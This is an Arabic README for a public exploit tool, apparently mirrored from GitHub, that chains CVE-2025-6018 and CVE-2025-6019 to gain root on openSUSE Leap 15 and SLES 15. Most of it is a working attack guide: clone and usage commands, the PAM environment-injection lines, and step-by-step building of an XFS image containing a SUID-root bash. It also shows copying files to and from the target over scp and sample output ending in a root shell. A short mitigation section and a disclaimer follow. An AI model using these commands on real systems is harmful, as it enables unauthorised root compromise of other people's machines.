## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DESERTDEMONS-CVE-2025-6018-6019
# استغلال PoC لـ CVE-2025-6018 و CVE-2025-6019
## تصعيد الصلاحيات المحلي (LPE) - openSUSE / SUSE Linux Enterprise 15
    
> **استغلال PoC عامل لـ CVE-2025-6018 و CVE-2025-6019** \- تصعيد الصلاحيات من مستخدم غير مميز إلى الجذر على openSUSE Leap 15.x و SUSE Linux Enterprise 15.x
## 🎯 ملخص سريع
CVE ID| الثغرة| التأثير
---|---|---
**CVE-2025-6018**| حقن متغيرات البيئة في PAM| تجاوز إلى حالة polkit `allow_active`
**CVE-2025-6019**| حالة سباق في تغيير حجم XFS عبر udisks2/libblockdev| **شل الجذر**
### سلسلة الهجوم
root@kitploit:~
Unprivileged SSH User → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT
## 🔥 عرض توضيحي لمفهوم الإثبات
root@kitploit:~
# التحقق من الثغرة
./exploit.sh --check
# إعداد تجاوز PAM (CVE-2025-6018)
./exploit.sh --setup
# أعد اتصال SSH، ثم: su - $USER
# استغلال (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img
# النتيجة: شل الجذر
uid=1000(user) gid=1000(user) euid=0(root)
## 📥 التثبيت
root@kitploit:~
git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh
## 🎯 الأنظمة المتأثرة
* ✅ openSUSE Leap 15.0, 15.1, 15.2, 15.3, 15.4, 15.5, 15.6
* ✅ SUSE Linux Enterprise Server (SLES) 15 SP1-SP6
* ✅ SUSE Linux Enterprise Desktop (SLED) 15 SP1-SP6
> **⚠️ ملاحظة:** يصل openSUSE Leap 15.6 إلى نهاية الدعم في **30 أبريل 2026**. بعد هذا التاريخ، لن يتم إصدار تصحيحات أمنية. يجب على المستخدمين الترحيل إلى Leap 16.0 أو SLES مع الدعم الممتد.
### المكونات الضعيفة
* **PAM** (Linux-PAM 1.3.0 - 1.6.0) مع `user_readenv=1`
* **udisks2** 2.9.x مع libblockdev
* **polkit** مع `allow_active: yes` لإجراءات udisks2
## 📖 الاستخدام
### الخيار 1: التحقق من الثغرة
root@kitploit:~
./exploit.sh --check
### الخيار 2: إعداد تجاوز PAM (CVE-2025-6018)
root@kitploit:~
./exploit.sh --setup
# ثم: اخرج من SSH، أعد الاتصال، نفذ: su - $USER
### الخيار 3: الاستغلال (CVE-2025-6019)
root@kitploit:~
./exploit.sh --exploit /tmp/xfs.img
### الخيار 4: الوضع التلقائي الكامل
root@kitploit:~
./exploit.sh --auto /tmp/xfs.img
### الخيار 5: عرض تعليمات إنشاء الصورة
root@kitploit:~
./exploit.sh --create-image
## 🛠️ إنشاء صورة XFS الحمولة
**نفذ على جهاز المهاجم كجذر:**
> **⚠️ يجب عليك استخدام ثنائي`/usr/bin/bash` للضحية**، وليس الثنائي المحلي الخاص بك. سيفشل ثنائي bash من توزيعة مختلفة (Kali, Arch, Ubuntu، إلخ) على الهدف بسبب عدم توافق ABI لمكتبات glibc/المشتركة — حتى على نفس بنية x86_64.
### باستخدام السكريبت المساعد (موصى به)
يكتشف السكريبت تلقائياً إصدار xfsprogs ويطبق العلامات الصحيحة:
root@kitploit:~
# احصل على bash الضحية أولاً
scp user@target:/usr/bin/bash /tmp/victim_bash
# إنشاء الصورة (يكتشف تلقائيًا علامات mkfs الآمنة)
sudo ./create_image.sh /tmp/victim_bash xfs.img
# لأهداف SUSE 15 SP1-SP4 (kernel < 5.14)، استخدم وضع التوافق:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img
### الإنشاء اليدوي
root@kitploit:~
sudo su -
# 1. احصل على ثنائي bash للضحية
scp user@target:/usr/bin/bash /tmp/bash
# 2. إنشاء صورة XFS بحجم 300MB مع علامات آمنة
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
# 3. تحميل مع دعم SUID
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt
# 4. نسخ bash الضحية وتعيين بت SUID
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl # يجب أن يظهر: -rwsr-xr-x
# 5. فك التحميل ونقل
umount /tmp/mnt
scp xfs.img user@target:/tmp/
### توافق تنسيق XFS
يجب **أن** يتم تنسيق صورة XFS بعلامات متوافقة مع نواة الهدف. الإصدارات الأحدث من `xfsprogs` تفعّل ميزات القرص الافتراضية التي لا تستطيع نوى SUSE الأقدم قراءتها، مما يسبب أخطاء `wrong fs type, bad superblock` أثناء تحميل تغيير الحجم عبر udisks2.
الهدف| النواة| أمر mkfs.xfs
---|---|---
SUSE 15 SP5-SP6| 5.14 / 6.4| `mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img`
SUSE 15 SP1-SP4| 4.12 - 5.3| `mkfs.xfs -f -m crc=0,reflink=0 xfs.img`
**لماذا؟** ميزتا `exchange` و `parent` هما ميزات للنواة 6.10+ (مفعلة افتراضياً في xfsprogs 6.x). `bigtime`, `inobtcount`, و `nrext64` هي ميزات للنواة 5.10+. أمر "التوافق" SP1-SP4 (`-m crc=0,reflink=0`) ينشئ تنسيق XFS V4 مع تعطيل جميع الميزات الحديثة، والذي يعمل على كل إصدار SUSE 15 SP.
## 🔬 التفاصيل التقنية
### CVE-2025-6018: حقن بيئة PAM
**الثغرة:** يقرأ وحدة `pam_env` في PAM ملف `~/.pam_environment` مع `user_readenv=1` (الافتراضي على SUSE)، مما يسمح بحقن متغيرات البيئة.
**الاستغلال:** تعيين `XDG_SEAT=seat0` و `XDG_VTNR=1` لخداع systemd-logind لمنح صلاحيات polkit `allow_active`.
root@kitploit:~
# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1
### CVE-2025-6019: حالة سباق تغيير حجم XFS
**الثغرة:** عند تغيير حجم نظام ملفات XFS عبر udisks2، يقوم libblockdev بتحميل نظام الملفات مؤقتاً **بدون** علامة `nosuid`.
**الاستغلال:**
1. إنشاء صورة XFS تحتوي على ثنائي جذر SUID
2. إعداد جهاز الحلقة
3. تشغيل تغيير الحجم عبر D-Bus
4. التسابق لتنفيذ الثنائي SUID أثناء التحميل المؤقت
5. الحصول على شل الجذر
## 📋 دليل الاستغلال الكامل
### الخطوة 1: التحقق من الثغرة
root@kitploit:~
./exploit.sh --check
المخرجات:
root@kitploit:~
[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO
### الخطوة 2: إعداد تجاوز PAM
root@kitploit:~
./exploit.sh --setup
exit
ssh user@target
su - $USER
### الخطوة 3: التحقق من allow_active
root@kitploit:~
./exploit.sh --check
المخرجات:
root@kitploit:~
[+] allow_active status: YES
You have allow_active privileges!
### الخطوة 4: نقل صورة XFS
root@kitploit:~
# على المهاجم:
scp xfs.img user@target:/tmp/
### الخطوة 5: الاستغلال
root@kitploit:~
./exploit.sh --exploit /tmp/xfs.img
المخرجات:
root@kitploit:~
[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...
=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
root@target#
## 🔧 استكشاف الأخطاء وإصلاحها
## 🛡️ التخفيف
### الإصلاح الفوري
root@kitploit:~
# تعطيل user_readenv في PAM
sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/common-auth
# أو تقييد سياسة polkit لـ udisks2
# غيّر allow_active من "yes" إلى "auth_admin"
### تصحيحات البائع
* قم بتحديث حزم PAM و udisks2 و libblockdev
* تحقق من النشرات الأمنية لـ SUSE
## 📚 المراجع
* النشرة الأمنية لـ Qualys
* الشرح الفني لـ Qualys
* SUSE CVE-2025-6018
* SUSE CVE-2025-6019
* NVD CVE-2025-6018
* NVD CVE-2025-6019
## 🏆 الاعتمادات
* **وحدة أبحاث التهديدات في Qualys** \- اكتشاف الثغرة الأصلي
* **DesertDemons** \- تطوير استغلال PoC
* **Jazzruran** \- تقرير وإصلاح خطأ عدم توافق إصدار xfsprogs (#1)
## ⚠️ إخلاء المسؤولية
هذه الأداة مخصصة **للاختبارات الأمنية المصرح بها والأغراض التعليمية فقط**. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. المؤلفون غير مسؤولين عن أي سوء استخدام.
## 📄 الترخيص
MIT License
* * *
## 🔍 الكلمات المفتاحية
`CVE-2025-6018` `CVE-2025-6019` `PoC` `Proof of Concept` `Exploit` `Privilege Escalation` `LPE` `Local Privilege Escalation` `Root` `openSUSE` `SUSE` `SLES` `PAM` `pam_env` `udisks2` `libblockdev`
* * *
**⭐ قم بتمييز هذا المستودع بنجمة إذا ساعدك! ⭐**